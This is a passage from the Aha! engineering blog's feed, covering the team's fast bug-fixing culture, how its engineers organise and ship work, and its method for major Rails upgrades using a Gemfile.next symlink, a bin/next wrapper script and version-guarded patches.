&lt;p&gt;Our approach to handling bugs goes beyond mere problem-solving. We see it as an opportunity to forge stronger connections with our users. When someone reports a bug, it is not sent to a backlog and prioritized later to be handled by an engineer who has no context on the issue. Instead, we engage directly with the users who reported the issue. Doing so creates a personal connection that goes beyond the typical support interaction and helps provide useful context that the engineering team can use to improve the product. By doing this, we create more comprehensive solutions that address both the immediate issue and potential concerns in the future.&lt;/p&gt;
&lt;p&gt;We also use these moments as opportunities to educate users. By taking the time to explain what caused the bug and how we will fix it, we help our users understand the product better. This transparency not only builds trust, but also empowers people to use our product more effectively.&lt;/p&gt;
&lt;p&gt;Moreover, these support escalations become springboards for broader conversations. We gather feedback about the overall user experience, which provides invaluable insights for our product development. By being open about issues and involving users in the resolution process, we cultivate trust and loyalty that goes far beyond the immediate bug fix.&lt;/p&gt;
&lt;h2&gt;That low backlog of 17 bugs&lt;/h2&gt;
&lt;p&gt;Remember that low bug backlog we mentioned earlier? We do, in fact, maintain a backlog of only about 20 bugs at any given time. This isn&apos;t because we avoid encountering bugs — our focus on rapid release means we expect them. We might resolve over 100 issues in a typical month, but our approach is to address bugs so promptly that they don&apos;t have time to accumulate.&lt;/p&gt;
&lt;p&gt;Our lean backlog reflects this &lt;a href=&quot;https://www.aha.io/company/the-responsive-method&quot;&gt;responsive strategy&lt;/a&gt;. We don&apos;t push bugs into the next quarter or even the next sprint; we handle them quickly, keeping the backlog manageable and our customers satisfied. The agility comes from balancing rapid feature releases with efficient bug resolution.&lt;/p&gt;
&lt;p&gt;During regular development cycles, our engineers focus on shipping new features. Then, during dedicated support rotations, they shift to addressing user-reported issues. Our dual-focus approach ensures we continuously improve our product while keeping it stable and reliable.&lt;/p&gt;
&lt;p&gt;So even though we&apos;re not aiming to ship bug-free software (if we were, we&apos;d be shipping too slowly), we&apos;ve built a system where bugs are resolved almost as quickly as they&apos;re identified. It&apos;s this balance of speed, responsiveness, and continuous improvement that keeps our backlog lean and our users happy.&lt;/p&gt;
&lt;h2&gt;Why a lean backlog works&lt;/h2&gt;
&lt;p&gt;By swiftly addressing issues, we keep our customers engaged and connected to the product. This feedback loop continually refines our features based on real needs rather than assumptions. A lean bug backlog allows engineers to focus on rapid innovation without being overwhelmed by minor fixes. Bug reports become opportunities for improvement, creating a user-centered development process that keeps us in tune with evolving needs.&lt;/p&gt;
&lt;h2&gt;The takeaway&lt;/h2&gt;
&lt;p&gt;By prioritizing rapid delivery, being responsive to issues, and viewing bugs as chances to connect with users, we&apos;ve created a system that fosters innovation while maintaining strong customer satisfaction. Rather than aiming for perfection, we focus on quick resolutions and ongoing improvement, allowing us to strengthen our relationship with users at every interaction.&lt;/p&gt;
&lt;p&gt;Remember: Perfection is the enemy of progress. Don&apos;t be afraid to ship with a few rough edges — just make sure you&apos;re ready to smooth them out quickly when your customers notice them. Likewise, use every interaction as an opportunity to strengthen relationships with your users.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;So, &lt;a href=&quot;https://www.aha.io/company/careers/current-openings&quot;&gt;are you ready&lt;/a&gt; to love bugs as much as we do? Check out our open roles.&lt;/strong&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Transparency, autonomy, responsiveness, and education: How the Aha! engineering team works]]></title><description><![CDATA[Organizations have many different ways to approach how teammates write code. You have individual silos, pair programming, team-based work…]]></description><link>https://www.aha.io/engineering/articles/how-we-work</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/how-we-work</guid><dc:creator><![CDATA[Phil Wilt]]></dc:creator><pubDate>Mon, 28 Oct 2024 00:00:00 GMT</pubDate><content:encoded>&lt;style&gt;
  img {
    max-height: 400px;
    margin-right: auto;
    margin-left: auto;
  }

  table, th, td {
    font-family: Red Hat Display, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif;
    border: 1px solid var(--aha-gray-400);
  }

  th {
    background-color: var(--aha-gray-100);
    color: var(--aha-gray-900);
    text-align: left;
  }

  td img {
    margin: 0.5em auto !important;
  }
&lt;/style&gt;
&lt;p&gt;Organizations have many different ways to approach how teammates write code. You have individual silos, pair programming, team-based work, and black box interfaces where you have no idea how the other team is structured.&lt;/p&gt;
&lt;p&gt;We use a mix of these approaches at Aha! rather than sticking to one methodology. &lt;a href=&quot;https://www.aha.io/company/the-responsive-method&quot;&gt;The Responsive Method (TRM)&lt;/a&gt; — the framework our co-founders created that guides individual and business success — helps us decide what actions to take in the moment. In general, a single engineer will work on their feature. They will present that work to their smaller team and the full engineering team during weekly meetings. We engage very deeply and make it enjoyable to present. And in that way, knowledge bubbles up to the entire engineering team. That engineer then owns their code for its lifespan and becomes a code champion who educates our team (and possibly presents to the larger community).&lt;/p&gt;
&lt;h2&gt;Segmenting engineering teams and assigning features&lt;/h2&gt;
&lt;p&gt;In engineering, we split into small agile teams aligned with &lt;a href=&quot;https://www.aha.io/suite-overview&quot;&gt;different parts of the application&lt;/a&gt;. It&apos;s pretty easy to see how these teams are structured based on our product offerings (&lt;a href=&quot;https://www.aha.io/roadmaps/overview&quot;&gt;Aha! Roadmaps&lt;/a&gt;, &lt;a href=&quot;https://www.aha.io/ideas/overview&quot;&gt;Aha! Ideas&lt;/a&gt;, &lt;a href=&quot;https://www.aha.io/whiteboards/overview&quot;&gt;Aha! Whiteboards&lt;/a&gt;, &lt;a href=&quot;https://www.aha.io/knowledge/overview&quot;&gt;Aha! Knowledge&lt;/a&gt;, and &lt;a href=&quot;https://www.aha.io/develop/overview&quot;&gt;Aha! Develop&lt;/a&gt;) along with our infrastructure and security.&lt;/p&gt;
&lt;p&gt;For larger offerings such as Aha! Roadmaps, we have several teams. We also have a &lt;a href=&quot;https://www.aha.io/engineering/articles/engineers-support&quot;&gt;rotating support team&lt;/a&gt; that uses members of each group, which means you see all parts of the application while on that rotation. But in general, each team is an expert in its particular product.&lt;/p&gt;
&lt;p&gt;Our products delineate the way we assign features. Our product managers use &lt;a href=&quot;https://www.aha.io/roadmapping/guide/the-aha-framework/the-aha-framework-for-product-development&quot;&gt;The Aha! Framework&lt;/a&gt; to do the Sisyphean task of prioritizing our features backlog, and those features go into our team queues in turn. From there, we have a weekly meeting with our team&apos;s product manager, designers, and engineers. We discuss what&apos;s coming down the pipeline and gauge engineering&apos;s interest. Some projects might be an extreme draw for one engineer, whereas others might just get assigned to whoever is free.&lt;/p&gt;
&lt;p&gt;Project scope is a concern that is addressed during the research phase by the engineering anchor. That person will spend time understanding the feature&apos;s breadth and depth. During that time, they determine whether pieces can be parallelized as well. They might create individual features for pieces of the project to assign out to multiple engineers, or just set them as milestones for a single engineer. That work is then assigned to the person (or people) developing the feature.&lt;/p&gt;
&lt;h2&gt;Giving engineers creative freedom&lt;/h2&gt;
&lt;p&gt;Aha! engineers enjoy considerable autonomy when starting new projects, with the freedom to make key design decisions. This process typically begins with an engineer developing an initial structure, which they then present to the team for feedback. Given the complexity of our application, this early input is crucial, as even small changes can have far-reaching effects. We prioritize getting code into production quickly, using feature flags to allow product managers and designers to iterate alongside engineers. And weekly team demos keep everyone up to date on progress.&lt;/p&gt;
&lt;p&gt;For larger features, we employ a &quot;pull request buddy&quot; system where a dedicated reviewer is assigned early on. This approach facilitates incremental reviews of small pull requests into a feature branch, preventing surprise large-scale changes and keeping the entire engineering team informed about ongoing work. This combination of individual creativity and collaborative refinement ensures we maintain both innovation and quality during our development process.&lt;/p&gt;
&lt;h2&gt;Circling back to TRM: Our framework for success&lt;/h2&gt;
&lt;p&gt;Again, we practice something called &lt;a href=&quot;https://www.aha.io/blog/the-responsive-startup&quot;&gt;TRM&lt;/a&gt; while working on code. &lt;a href=&quot;https://www.aha.io/company/the-responsive-method&quot;&gt;This framework for success&lt;/a&gt; isn&apos;t just aimed at customer interactions — it&apos;s also something we practice internally. Part of it involves being &lt;a href=&quot;https://www.aha.io/engineering/articles/trm-for-engineers&quot;&gt;interrupt-driven&lt;/a&gt;. (Put simply, this means we view interruptions to our work as useful rather than distracting. We try to address these interruptions immediately, when everyone&apos;s focus on the issue is strongest.)&lt;/p&gt;
&lt;p&gt;Even though many engineers think that might be a distraction, it becomes a strength at Aha! New hires often comment on how amazingly responsive other engineers are. It&apos;s very difficult to get stuck, as someone is always there to be a rubber duck, answer a question about part of the application, or help address a support ticket. The prevailing thought is that engineers are more productive when they have large blocks of work time. But productivity actually increases when teams can unblock things quickly.&lt;/p&gt;
&lt;h2&gt;How a feature comes to be&lt;/h2&gt;
&lt;p&gt;Once product management assigns a feature, it goes into the code process. We typically have a code champion look at the feature, comment on its scope, and give a rough estimate of time to completion (more on this concept later). From there, we have our engineering anchor take over — who might or might not be the code champion — and that person figures out the estimate and breaks it up into its individual requirements. Those requirements then go to a single engineer or multiple engineers. They present the ongoing work in team meetings to make sure it matches the definition. That&apos;s the time to find out from either other engineers or from product managers or designers whether the requirements need to change. And once everything is done, we start the process of getting the feature into production.&lt;/p&gt;
&lt;p&gt;At this stage, we follow a few steps to make sure things go smoothly. We first have two pull request reviewers from the team look over the code and approve it, as well as a security team that reviews all code thoroughly. Any migrations will also have their own reviewer to make sure we don&apos;t run into unexpected database performance issues. Then, the individual will merge their own pull request into the main branch.&lt;/p&gt;
&lt;p&gt;Everything is now ready to deploy. We do this several times a day, so code is always going out quickly. We have a rotating deployer who happens to be the lead on the support team that week. This way, they can deploy quick fixes in response to customer issues along with new work. Once the code is in production, it is on the engineer to watch for alerts and any support tickets coming in. The engineer is also responsible for answering questions about the running code if another engineer or customer runs into an issue.&lt;/p&gt;
&lt;h2&gt;Helping code champions showcase their expertise&lt;/h2&gt;
&lt;p&gt;That leads us to the concept of a &quot;code champion,&quot; which we referenced earlier. Our code champions own pieces of the product and are experts in that realm. They present their knowledge to the team during our weekly code presentation meeting, and possibly to the entire company. And if their learnings are sufficiently interesting to the greater engineering community, they will go to a conference and present them.&lt;/p&gt;
&lt;p&gt;Here are just a few talks led by teammates:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=mqUbnZIY3OQ&quot;&gt;A deep dive into sessions&lt;/a&gt; by &lt;a href=&quot;https://www.aha.io/blog/my-name-is-justin-weiss-this-is-why-i-joined-aha&quot;&gt;Justin Weiss&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=lmjMC2FRF-A&quot;&gt;Building a collaborative text editor&lt;/a&gt; by &lt;a href=&quot;https://www.aha.io/blog/my-name-is-justin-weiss-this-is-why-i-joined-aha&quot;&gt;Justin Weiss&lt;/a&gt; (this author was lucky enough to work on this project as well)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=jEDX3yswrcM&quot;&gt;Off to the races&lt;/a&gt; by &lt;a href=&quot;https://www.aha.io/blog/my-name-is-kyle-d-oliveira-this-is-why-i-joined-aha&quot;&gt;Kyle d&apos;Oliveira&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=ufIGaySoQWY&quot;&gt;Testing legacy code when you dislike tests (and legacy code)&lt;/a&gt; by &lt;a href=&quot;https://www.aha.io/blog/my-name-is-maeve-revels-this-is-what-i-achieve-at-aha&quot;&gt;Maeve Revels&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That&apos;s how we work at Aha! We have transparency into projects and, for the most part, choose what we work on. We have great autonomy in implementation and logistics. Help is always a Slack message away due to &lt;a href=&quot;https://www.aha.io/company/the-responsive-method&quot;&gt;TRM&lt;/a&gt;. We also make sure to educate both our engineers internally and the engineering community externally.&lt;/p&gt;
&lt;hr&gt;
&lt;p&gt;&lt;strong&gt;Does this creative autonomy and responsiveness sound appealing? We&apos;re happy and hiring engineers — &lt;a href=&quot;https://www.aha.io/company/careers/current-openings&quot;&gt;join us&lt;/a&gt;.&lt;/strong&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How we upgrade major Rails versions]]></title><description><![CDATA[As a company whose product is built on top of Ruby on Rails, conducting a major version upgrade of the underlying framework is just about…]]></description><link>https://www.aha.io/engineering/articles/upgrading-rails</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/upgrading-rails</guid><pubDate>Wed, 18 Sep 2024 00:00:00 GMT</pubDate><content:encoded>&lt;style&gt;
  img {
    max-height: 400px;
    margin-right: auto;
    margin-left: auto;
  }

  table, th, td {
    font-family: Red Hat Display, &quot;Helvetica Neue&quot;, Arial, &quot;Noto Sans&quot;, sans-serif;
    border: 1px solid var(--aha-gray-400);
  }

  th {
    background-color: var(--aha-gray-100);
    color: var(--aha-gray-900);
    text-align: left;
  }

  td img {
    margin: 0.5em auto !important;
  }
&lt;/style&gt;
&lt;p&gt;As a company whose product is built on top of &lt;a href=&quot;https://rubyonrails.org/&quot;&gt;Ruby on Rails&lt;/a&gt;, conducting a major version upgrade of the underlying framework is just about the biggest upkeep item we regularly undertake. The whole process takes months — with multiple cycles of development work, rounds of automated and manual testing, and a phased rollout process. Here&apos;s how we do it.&lt;/p&gt;
&lt;h2&gt;Gemfile.next&lt;/h2&gt;
&lt;p&gt;The core idea behind the way we upgrade Rails revolves around making the application compatible with both the current version and the next version simultaneously. Doing so means that during the upgrade process we&apos;re able to boot the application with these versions allowing tests to run against both. This makes it much easier to find regressions by toggling a switch that determines which version to run.&lt;/p&gt;
&lt;p&gt;This is done by having a &lt;code&gt;Gemfile.next&lt;/code&gt; in addition to our current &lt;code&gt;Gemfile&lt;/code&gt;. &lt;code&gt;Gemfile.next&lt;/code&gt; is simply a symbolic link to the current &lt;code&gt;Gemfile&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;$&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; ls&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; -l&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; Gemfile.next&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;lrwxrwxrwx&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; shane&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; shane&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 7&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; B&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; Fri&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; May&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  7&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; 12:26:50&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 2021&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; Gemfile.next&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; ⇒&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; Gemfile&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then, at the top of the &lt;code&gt;Gemfile&lt;/code&gt; is a short function definition:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; next?&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;  File&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.basename(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;__FILE__&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;==&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;Gemfile.next&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This allows us to put conditionals in the &lt;code&gt;Gemfile&lt;/code&gt; for which version of Rails to use (and any other gems), as such:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;gem &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;rails&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, (next? &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;?&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;7.1.3.4&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; : &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&apos;7.0.8.4&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, we have a wrapper script: &lt;code&gt;bin/next&lt;/code&gt;. When prefixed with a given Rails command (such as &lt;code&gt;bin/next rails console&lt;/code&gt;), &lt;code&gt;bin/next&lt;/code&gt; will start the app with the &quot;next&quot; version of the gems in the Gemfile.&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#!/bin/bash&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Use this file to run the app with the next version of Rails&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# Usage:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#   bin/next bundle install&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;#   bin/next rails ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; BUNDLE_GEMFILE&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;Gemfile.next&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; BUNDLE_CACHE_PATH&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;vendor/cache.next&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; BUNDLE_BIN&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;export&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; NEXT&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [[ &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;${&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =~&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; ^bundle ]]; &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;then&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#E36209&quot;&gt;  $@&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;else&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  bundle&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; exec&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt; $@&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;fi&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Using this concept, we&apos;re able to easily switch between a &lt;code&gt;Gemfile&lt;/code&gt; using the current set of gems and the &quot;next&quot; gems for everything, including local development and running test suites.&lt;/p&gt;
&lt;h2&gt;Our upgrade process&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;Update the &lt;code&gt;Gemfile&lt;/code&gt;. This includes the following tasks:&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Copy &lt;code&gt;Gemfile.lock&lt;/code&gt; to &lt;code&gt;Gemfile.next.lock&lt;/code&gt; to start fresh from the current set of gem versions.&lt;/li&gt;
&lt;li&gt;Set the new Rails gem version in the &lt;code&gt;Gemfile&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Work through the necessary gem version upgrades to get a bundle that resolves all dependencies successfully.&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start=&quot;2&quot;&gt;
&lt;li&gt;Review the changes in the &lt;a href=&quot;https://guides.rubyonrails.org/upgrading_ruby_on_rails.html&quot;&gt;Rails upgrade guide&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Reviewing the Rails release notes early on is critical to avoid missing subtleties that might cause major problems later on during a deployment. Plus, it is easier to upgrade the application when you have a better idea of what the changes are.&lt;/li&gt;
&lt;li&gt;We also make use of the &lt;code&gt;rails app:update&lt;/code&gt; task, but we prefer to do this manually for the sake of having more control over that process.&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start=&quot;3&quot;&gt;
&lt;li&gt;Fix all tests and make any needed changes compatible with both versions of Rails.&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;Of course, this step is the bulk of the work. Depending on the size of the test suite and complexity of the application, this part of the process can take weeks or months.&lt;/li&gt;
&lt;/ul&gt;
&lt;ol start=&quot;4&quot;&gt;
&lt;li&gt;Go through a round of manual testing with our &lt;a href=&quot;https://www.aha.io/product/customer-success&quot;&gt;Customer Success&lt;/a&gt; team.&lt;/li&gt;
&lt;li&gt;Deploy the work.&lt;/li&gt;
&lt;/ol&gt;
&lt;ul&gt;
&lt;li&gt;First, we do a small rollout to a subset of customers.&lt;/li&gt;
&lt;li&gt;We then do the final switchover by promoting Gemfile.next.lock to Gemfile.lock.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Yeah — that&apos;s a lot. So let&apos;s break down the bigger steps.&lt;/p&gt;
&lt;h2&gt;Maintaining compatibility&lt;/h2&gt;
&lt;p&gt;Once we have a bundle for the next Rails version, the first step is to get the application booting with it and ensure tests pass with both versions.&lt;/p&gt;
&lt;h3&gt;Patches&lt;/h3&gt;
&lt;p&gt;Similar to many large Rails applications, we have our fair share of patches to core and third-party Rails gems. For example, we have a patch to Rails&apos; Rack logger to log the full URL of a request (rather than just the path):&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; Rails&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.version &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;7.2&apos;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  raise&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &quot;Ensure patched methods below have not changed in Rails &lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;#{&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;Rails&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;.version}&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Rails::Rack::Logger&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  # https://github.com/rails/rails/blob/v7.1.3.4/railties/lib/rails/rack/logger.rb#L54&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  def&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; started_request_message&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(request)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    format&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#032F62&quot;&gt;      &apos;Started %s &quot;%s%s%s&quot; for %s at %s&apos;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      request.request_method,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      request.protocol,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      request.host_with_port,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      request.filtered_path,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      request.ip,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;      Time&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.zone.now.to_s&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    )&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Of note here is the &lt;code&gt;Rails.version&lt;/code&gt;, which is conditional at the top of the patch. When the next engineer tasked with upgrading Rails attempts to boot the application, an exception will require her to check the source of the patched method and ensure it has not changed in the new Rails version. She will then bump the conditional for the future Rails upgrade.&lt;/p&gt;
&lt;p&gt;This approach ensures that we don&apos;t miss updating any patches that might silently fail if the class they are patching has changed, resulting in the code not being called. There should ideally be tests for this patched behavior as well. But depending on how the test is written, it&apos;s possible for these to provide a false positive result if the patched class changed in the right way. We find that having a loud exception forcing an engineer to check patches during Rails upgrades is the more surefire way to verify they are still up to date.&lt;/p&gt;
&lt;h3&gt;Application code&lt;/h3&gt;
&lt;p&gt;With the application booting, the mammoth task of fixing all the broken tests begins. &lt;code&gt;bin/next rails test&lt;/code&gt; or &lt;code&gt;bin/next rspec&lt;/code&gt; (depending on the test suite) makes it easy to run individual tests against the two versions of Rails and cross-reference if something goes awry.&lt;/p&gt;
